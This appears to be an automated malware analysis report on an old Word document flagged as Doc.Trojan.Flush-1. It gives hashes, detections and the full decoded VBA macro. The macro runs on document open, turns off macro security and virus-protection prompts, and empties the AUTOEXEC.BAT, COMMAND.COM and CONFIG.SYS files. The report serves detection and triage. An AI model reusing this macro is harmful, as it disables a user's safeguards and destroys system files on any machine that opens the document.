Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e966723527e46e15…

MALICIOUS

Office (OLE)

29.5 KB Created: 2001-03-19 13:59:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 0e7a93ff714a10d7634b7096000d6e95 SHA-1: 0f7557a4ec596418580e056b16687511385020cd SHA-256: e966723527e46e15c541bba199c1a0ec5edb08ddaefc28081a54aed90c514b66
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample contains VBA macros, specifically a Document_Open macro, which is designed to disable macro security settings and overwrite critical system files. The script explicitly attempts to overwrite 'C:\Autoexec.BAT', 'C:\COMMAND.COM', and 'C:\CONFIG.SYS', indicating a destructive or disruptive intent.

Heuristics 3

  • ClamAV: Doc.Trojan.Flush-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Flush-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1258 bytes
SHA-256: 6121e9dc65c960256b814fb913b7fdb60714b0da27866bcd21c6ec58f61e227e
Detection
ClamAV: Doc.Trojan.Flush-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Private Sub Document_Open()

On Error Resume Next

If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\security", "Level") <> "" Then

    CommandBars("Macro").Controls("Security...").Enabled = False
    System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "level") = 1&

Else

    CommandBars("Tools").Controls("MAcro").Enabled = False

    With Options

        .ConfirmConversions = False
        
        .SaveNormalPrompt = False

        .VirusProtection = False

    End With

End If



SetAttr "C:\Autoexec.BAT", vbNormal         'Let's Flush Autoexec.bat

    Open "C:\AUTOEXEC.BAT" For Output As #1

Close #1



SetAttr "C:\COMMAND.COM", vbNormal          ' Let's Flush Command.com

    Open "C:\COMMAND.COM" For Output As #1

Close #1

SetAttr "C:\CONFIG.SYS", vbNormal

    Open "C:\CONFIG.SYS" For Output As #1   'Let's Flush Config.sys

Close #1



End Sub